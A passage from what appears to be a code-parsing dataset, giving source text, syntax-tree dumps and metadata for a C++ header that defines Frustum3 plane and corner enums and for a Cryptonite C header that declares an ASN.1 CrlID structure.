//--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}\n}", "parent": 0, "children": [10, 11], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 40, "column": 1}}, {"id": 10, "type": "type_identifier", "text": "namespace", "parent": 9, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 9}}, {"id": 11, "type": "identifier", "text": "coffee", "parent": 9, "children": [], "start_point": {"row": 5, "column": 10}, "end_point": {"row": 5, "column": 16}}, {"id": 12, "type": "function_definition", "text": "namespace basic\n{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}", "parent": 9, "children": [13, 14], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 39, "column": 1}}, {"id": 13, "type": "type_identifier", "text": "namespace", "parent": 12, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 9}}, {"id": 14, "type": "identifier", "text": "basic", "parent": 12, "children": [], "start_point": {"row": 7, "column": 10}, "end_point": {"row": 7, "column": 15}}, {"id": 15, "type": "enum_specifier", "text": "enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n }", "parent": 12, "children": [16, 17, 18], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 21, "column": 5}}, {"id": 16, "type": "enum", "text": "enum", "parent": 15, "children": [], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 8}}, {"id": 17, "type": "type_identifier", "text": "FRUSTUM3_PLANE", "parent": 15, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 23}}, {"id": 18, "type": "enumerator_list", "text": "{\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n }", "parent": 15, "children": [19, 21, 23, 25, 27, 29, 31], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 21, "column": 5}}, {"id": 19, "type": "enumerator", "text": "FRUSTUM3_PLANE_Right", "parent": 18, "children": [20], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 28}}, {"id": 20, "type": "identifier", "text": "FRUSTUM3_PLANE_Right", "parent": 19, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 28}}, {"id": 21, "type": "enumerator", "text": "FRUSTUM3_PLANE_Left", "parent": 18, "children": [22], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 27}}, {"id": 22, "type": "identifier", "text": "FRUSTUM3_PLANE_Left", "parent": 21, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 27}}, {"id": 23, "type": "enumerator", "text": "FRUSTUM3_PLANE_Top", "parent": 18, "children": [24], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 26}}, {"id": 24, "type": "identifier", "text": "FRUSTUM3_PLANE_Top", "parent": 23, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 26}}, {"id": 25, "type": "enumerator", "text": "FRUSTUM3_PLANE_Bottom", "parent": 18, "children": [26], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 29}}, {"id": 26, "type": "identifier", "text": "FRUSTUM3_PLANE_Bottom", "parent": 25, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 29}}, {"id": 27, "type": "enumerator", "text": "FRUSTUM3_PLANE_Near", "parent": 18, "children": [28], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 27}}, {"id": 28, "type": "identifier", "text": "FRUSTUM3_PLANE_Near", "parent": 27, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 27}}, {"id": 29, "type": "enumerator", "text": "FRUSTUM3_PLANE_Far", "parent": 18, "children": [30], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 26}}, {"id": 30, "type": "identifier", "text": "FRUSTUM3_PLANE_Far", "parent": 29, "children": [], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 26}}, {"id": 31, "type": "enumerator", "text": "FRUSTUM3_PLANE_Count", "parent": 18, "children": [32], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 28}}, {"id": 32, "type": "identifier", "text": "FRUSTUM3_PLANE_Count", "parent": 31, "children": [], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 28}}, {"id": 33, "type": "enum_specifier", "text": "enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n }", "parent": 12, "children": [34, 35, 36], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 37, "column": 5}}, {"id": 34, "type": "enum", "text": "enum", "parent": 33, "children": [], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 8}}, {"id": 35, "type": "type_identifier", "text": "FRUSTUM3_CORNER", "parent": 33, "children": [], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 24}}, {"id": 36, "type": "enumerator_list", "text": "{\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n }", "parent": 33, "children": [37, 39, 41, 43, 45, 47, 49, 51, 53], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 37, "column": 5}}, {"id": 37, "type": "enumerator", "text": "FRUSTUM3_CORNER_FarTopRight", "parent": 36, "children": [38], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 35}}, {"id": 38, "type": "identifier", "text": "FRUSTUM3_CORNER_FarTopRight", "parent": 37, "children": [], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 35}}, {"id": 39, "type": "enumerator", "text": "FRUSTUM3_CORNER_FarTopLeft", "parent": 36, "children": [40], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 34}}, {"id": 40, "type": "identifier", "text": "FRUSTUM3_CORNER_FarTopLeft", "parent": 39, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 34}}, {"id": 41, "type": "enumerator", "text": "FRUSTUM3_CORNER_FarBottomRight", "parent": 36, "children": [42], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 38}}, {"id": 42, "type": "identifier", "text": "FRUSTUM3_CORNER_FarBottomRight", "parent": 41, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 38}}, {"id": 43, "type": "enumerator", "text": "FRUSTUM3_CORNER_FarBottomLeft", "parent": 36, "children": [44], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 37}}, {"id": 44, "type": "identifier", "text": "FRUSTUM3_CORNER_FarBottomLeft", "parent": 43, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 37}}, {"id": 45, "type": "enumerator", "text": "FRUSTUM3_CORNER_NearTopRight", "parent": 36, "children": [46], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 36}}, {"id": 46, "type": "identifier", "text": "FRUSTUM3_CORNER_NearTopRight", "parent": 45, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 36}}, {"id": 47, "type": "enumerator", "text": "FRUSTUM3_CORNER_NearTopLeft", "parent": 36, "children": [48], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 35}}, {"id": 48, "type": "identifier", "text": "FRUSTUM3_CORNER_NearTopLeft", "parent": 47, "children": [], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 35}}, {"id": 49, "type": "enumerator", "text": "FRUSTUM3_CORNER_NearBottomRight", "parent": 36, "children": [50], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 39}}, {"id": 50, "type": "identifier", "text": "FRUSTUM3_CORNER_NearBottomRight", "parent": 49, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 39}}, {"id": 51, "type": "enumerator", "text": "FRUSTUM3_CORNER_NearBottomLeft", "parent": 36, "children": [52], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 38}}, {"id": 52, "type": "identifier", "text": "FRUSTUM3_CORNER_NearBottomLeft", "parent": 51, "children": [], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 38}}, {"id": 53, "type": "enumerator", "text": "FRUSTUM3_CORNER_Count", "parent": 36, "children": [54], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 29}}, {"id": 54, "type": "identifier", "text": "FRUSTUM3_CORNER_Count", "parent": 53, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 29}}, {"id": 55, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 6}}]}, "node_categories": {"declarations": {"functions": [9, 12], "variables": [], "classes": [], "imports": [6, 7], "modules": [], "enums": [15, 16, 18, 19, 21, 23, 25, 27, 29, 31, 33, 34, 36, 37, 39, 41, 43, 45, 47, 49, 51, 53]}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 10, 11, 13, 14, 17, 20, 22, 24, 26, 28, 30, 32, 35, 38, 40, 42, 44, 46, 48, 50, 52, 54, 55], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 9, "universal_type": "function", "name": "unknown", "text_snippet": "namespace coffee\n{\nnamespace basic\n{\n //---------------------------------------------------------"}, {"node_id": 12, "universal_type": "function", "name": "unknown", "text_snippet": "namespace basic\n{\n //----------------------------------------------------------------------------"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"coffee_includes.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#ifndef _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n#define _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n\n#include \"coffee_includes.h\"\n\nnamespace coffee\n{\nnamespace basic\n{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}\n}\n#endif\n"}
81,112
c
/* * Copyright (c) 2016 PrivatBank IT <<EMAIL>>. All rights reserved. * Redistribution and modifications are permitted subject to BSD license. */ #ifndef _CrlID_H_ #define _CrlID_H_ #include "asn_application.h" /* Including external dependencies */ #include "IA5String.h" #include "INTEGER.h" #include "GeneralizedTime.h" #include "constr_SEQUENCE.h" #ifdef __cplusplus extern "C" { #endif /* CrlID */ typedef struct CrlID { IA5String_t *crlUrl /* OPTIONAL */; INTEGER_t *crlNum /* OPTIONAL */; GeneralizedTime_t *crlTime /* OPTIONAL */; /* Context for parsing across buffer boundaries */ asn_struct_ctx_t _asn_ctx; } CrlID_t; /* Implementation */ extern asn_TYPE_descriptor_t CrlID_desc; CRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void); #ifdef __cplusplus } #endif #endif
25.94
31
(translation_unit) "/*\n * Copyright (c) 2016 PrivatBank IT <<EMAIL>>. All rights reserved.\n * Redistribution and modifications are permitted subject to BSD license.\n */\n\n#ifndef _CrlID_H_\n#define _CrlID_H_\n\n\n#include "asn_application.h"\n\n/* Including external dependencies */\n#include "IA5String.h"\n#include "INTEGER.h"\n#include "GeneralizedTime.h"\n#include "constr_SEQUENCE.h"\n\n#ifdef __cplusplus\nextern "C" {\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n" (comment) "/*\n * Copyright (c) 2016 PrivatBank IT <<EMAIL>>. All rights reserved.\n * Redistribution and modifications are permitted subject to BSD license.\n */" (preproc_ifdef) "#ifndef _CrlID_H_\n#define _CrlID_H_\n\n\n#include "asn_application.h"\n\n/* Including external dependencies */\n#include "IA5String.h"\n#include "INTEGER.h"\n#include "GeneralizedTime.h"\n#include "constr_SEQUENCE.h"\n\n#ifdef __cplusplus\nextern "C" {\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif" (#ifndef) "#ifndef" (identifier) "_CrlID_H_" (preproc_def) "#define _CrlID_H_\n" (#define) "#define" (identifier) "_CrlID_H_" (preproc_include) "#include "asn_application.h"\n" (#include) "#include" (string_literal) ""asn_application.h"" (") """ (string_content) "asn_application.h" (") """ (comment) "/* Including external dependencies */" (preproc_include) "#include "IA5String.h"\n" (#include) "#include" (string_literal) ""IA5String.h"" (") """ (string_content) "IA5String.h" (") """ (preproc_include) "#include "INTEGER.h"\n" (#include) "#include" (string_literal) ""INTEGER.h"" (") """ (string_content) "INTEGER.h" (") """ (preproc_include) "#include "GeneralizedTime.h"\n" (#include) "#include" (string_literal) ""GeneralizedTime.h"" (") """ (string_content) "GeneralizedTime.h" (") """ (preproc_include) "#include "constr_SEQUENCE.h"\n" (#include) "#include" (string_literal) ""constr_SEQUENCE.h"" (") """ (string_content) "constr_SEQUENCE.h" (") """ (preproc_ifdef) "#ifdef __cplusplus\nextern "C" {\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}\n#endif" (#ifdef) "#ifdef" (identifier) "__cplusplus" (linkage_specification) "extern "C" {\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}" (extern) "extern" (string_literal) ""C"" (") """ (string_content) "C" (") """ (declaration_list) "{\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}" ({) "{" (preproc_call) "#endif\n" (preproc_directive) "#endif" (comment) "/* CrlID */" (type_definition) "typedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;" (typedef) "typedef" (struct_specifier) "struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n}" (struct) "struct" (type_identifier) "CrlID" (field_declaration_list) "{\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n}" ({) "{" (field_declaration) "IA5String_t *crlUrl /* OPTIONAL */;" (type_identifier) "IA5String_t" (pointer_declarator) "*crlUrl" (*) "*" (field_identifier) "crlUrl" (comment) "/* OPTIONAL */" (;) ";" (field_declaration) "INTEGER_t *crlNum /* OPTIONAL */;" (type_identifier) "INTEGER_t" (pointer_declarator) "*crlNum" (*) "*" (field_identifier) "crlNum" (comment) "/* OPTIONAL */" (;) ";" (field_declaration) "GeneralizedTime_t *crlTime /* OPTIONAL */;" (type_identifier) "GeneralizedTime_t" (pointer_declarator) "*crlTime" (*) "*" (field_identifier) "crlTime" (comment) "/* OPTIONAL */" (;) ";" (comment) "/* Context for parsing across buffer boundaries */" (field_declaration) "asn_struct_ctx_t _asn_ctx;" (type_identifier) "asn_struct_ctx_t" (field_identifier) "_asn_ctx" (;) ";" (}) "}" (type_identifier) "CrlID_t" (;) ";" (comment) "/* Implementation */" (declaration) "extern asn_TYPE_descriptor_t CrlID_desc;" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "asn_TYPE_descriptor_t" (identifier) "CrlID_desc" (;) ";" (declaration) "CRYPTONITE_EXPORT asn_TYPE_descriptor_t" (type_identifier) "CRYPTONITE_EXPORT" (identifier) "asn_TYPE_descriptor_t" (;) "" (expression_statement) "*get_CrlID_desc(void);" (pointer_expression) "*get_CrlID_desc(void)" (*) "*" (call_expression) "get_CrlID_desc(void)" (identifier) "get_CrlID_desc" (argument_list) "(void)" (() "(" (identifier) "void" ()) ")" (;) ";" (preproc_ifdef) "#ifdef __cplusplus" (#ifdef) "#ifdef" (identifier) "__cplusplus" (#endif) "" (}) "}" (#endif) "#endif" (#endif) "#endif"
117
0
{"language": "c", "success": true, "metadata": {"lines": 31, "avg_line_length": 25.94, "nodes": 73, "errors": 0, "source_hash": "8dfbe170ae785ee9813a7880896f9407251ddcf9419844814b5c0c9a570bacaa", "categorized_nodes": 59}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef _CrlID_H_\n#define _CrlID_H_\n\n\n#include \"asn_application.h\"\n\n/* Including external dependencies */\n#include \"IA5String.h\"\n#include \"INTEGER.h\"\n#include \"GeneralizedTime.h\"\n#include \"constr_SEQUENCE.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 21, 72], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 39, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 2, "type": "identifier", "text": "_CrlID_H_", "parent": 0, "children": [], "start_point": {"row": 5, "column": 11}, "end_point": {"row": 5, "column": 20}}, {"id": 3, "type": "preproc_def", "text": "#define _CrlID_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 7}}, {"id": 5, "type": "identifier", "text": "_CrlID_H_", "parent": 3, "children": [], "start_point": {"row": 6, "column": 11}, "end_point": {"row": 6, "column": 20}}, {"id": 6, "type": "preproc_include", "text": "#include \"asn_application.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"asn_application.h\"", "parent": 6, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 28}}, {"id": 9, "type": "preproc_include", "text": "#include \"IA5String.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"IA5String.h\"", "parent": 9, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 22}}, {"id": 12, "type": "preproc_include", "text": "#include \"INTEGER.h\"\n", "parent": 0, "children": [13, 14], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 14, "type": "string_literal", "text": "\"INTEGER.h\"", "parent": 12, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 20}}, {"id": 15, "type": "preproc_include", "text": "#include \"GeneralizedTime.h\"\n", "parent": 0, "children": [16, 17], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 8}}, {"id": 17, "type": "string_literal", "text": "\"GeneralizedTime.h\"", "parent": 15, "children": [], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 28}}, {"id": 18, "type": "preproc_include", "text": "#include \"constr_SEQUENCE.h\"\n", "parent": 0, "children": [19, 20], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 8}}, {"id": 20, "type": "string_literal", "text": "\"constr_SEQUENCE.h\"", "parent": 18, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 28}}, {"id": 21, "type": "preproc_ifdef", "text": "#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}\n#endif", "parent": 0, "children": [22, 23, 24, 71], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 37, "column": 6}}, {"id": 22, "type": "#ifdef", "text": "#ifdef", "parent": 21, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 6}}, {"id": 23, "type": "identifier", "text": "__cplusplus", "parent": 21, "children": [], "start_point": {"row": 17, "column": 7}, "end_point": {"row": 17, "column": 18}}, {"id": 24, "type": "linkage_specification", "text": "extern \"C\" {\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}", "parent": 21, "children": [25, 26], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 36, "column": 1}}, {"id": 25, "type": "extern", "text": "extern", "parent": 24, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 6}}, {"id": 26, "type": "string_literal", "text": "\"C\"", "parent": 24, "children": [], "start_point": {"row": 18, "column": 7}, "end_point": {"row": 18, "column": 10}}, {"id": 27, "type": "preproc_call", "text": "#endif\n", "parent": 24, "children": [28], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 28, "type": "preproc_directive", "text": "#endif", "parent": 27, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 29, "type": "type_definition", "text": "typedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;", "parent": 24, "children": [30, 31, 52], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 29, "column": 10}}, {"id": 30, "type": "typedef", "text": "typedef", "parent": 29, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 7}}, {"id": 31, "type": "struct_specifier", "text": "struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context 